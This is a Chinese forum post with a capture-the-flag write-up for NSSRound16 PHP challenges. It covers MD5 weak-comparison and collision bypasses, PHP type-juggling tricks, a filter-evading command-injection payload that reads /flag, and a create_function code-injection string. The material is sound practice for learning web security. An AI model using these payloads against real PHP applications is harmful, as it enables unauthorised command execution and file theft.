NSSRound16

打印 上一主题 下一主题

主题 853|帖子 853|积分 2561

NSSRound16

RCE但是没有完全RCE

审题


审核代码,简单的md5绕过。
知识点

md5绕过,命令组合,shell里``中的内容会被当成代码执行
知识详解


  • md5等于的绕过方法

    • 数组绕过 a[]=1&b[]=2,
    • 0e绕过弱比较,md5后的值以0e开头即可绕过。
    • $a==md5 $a=0e215962017其md5后的值也为0e开头
    • md5碰撞绕过强比较。
      1. a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      2. b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
      复制代码

解题


  • md5碰撞绕过md5_1和2,数组绕过md5_3


  • 进入新目录。

审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数
使用dir观察题目内容

找到flag,cat命令被禁言使用more命令。
并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。
所以构造的cmd为
  1. cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`
复制代码

了解过PHP特性吗

审题


进行代码审计后,总的来说就是让checker1,2,3,4都为ture
知识点

php函数的应用。
解题


  • 绕过checker1
    1. $num = $_GET['num'];
    2. if (preg_match("/[0-9]/", $num)) {
    3.     die("no!!");
    4. }
    5. if (intval($num)) {
    6.     $checker_1 = TRUE;
    7. }
    复制代码
    只要让num中匹配不到数字并让intval=1即可。直接用数组绕过
    num[]=1
  • 绕过checker2
    1. if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    2.     $ctype = strrev($_POST['ctype']);
    3.     $is_num = strrev($_POST['is_num']);
    4.     if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
    5.         $checker_2 = TRUE;
    6.     }
    7. }
    复制代码
    md5弱比较,0e 绕过。
    注意strrev()函数,反转函数将字符串前后反转。
    构造:ctype=TDNHTLQ&is_num=807016042
  • 绕过checker3。
    1. $_114 = $_GET['114'];
    2. $_514 = $_POST['514'];
    3. if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    4.     if (!is_numeric($_514) && $_514 > 9999999) {
    5.         $checker_3 = TRUE;
    6.     }
    7. }
    复制代码
    直接构造:114=1e9&514=9999999999999999a即可。
  • 绕过checker4
    1. $arr4y = $_POST['arr4y'];
    2. if (is_array($arr4y)) {
    3.     for ($i = 0; $i < count($arr4y); $i++) {
    4.         if ($arr4y[$i] === "NSS") {
    5.             die("no!");
    6.         }
    7.         $arr4y[$i] = intval($arr4y[$i]);
    8.     }
    9.     if (array_search("NSS", $arr4y) === 0) {
    10.         $checker_4 = TRUE;
    11.     }
    12. }
    复制代码
    首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。
    所以,构造:arr4y[]=0.
得到下一页目录


注意create_function()函数
  1. $B='echo $A;'
  2. create_function($A,$B) //的输出结果相当于
  3.    
  4.    
  5.    
  6.    function lambda_1($A){
  7.     echo $A;
  8. }
复制代码
所以,传入nss=return;}system('cat /flag');/*&shell=时
相当于:
  1. creat_function($shell,$nss);
  2. function lambda_1($shell,$nss){
  3.     return;}system('cat /flag');/*
  4. }
复制代码
所以,得到flag。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

拉不拉稀肚拉稀

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表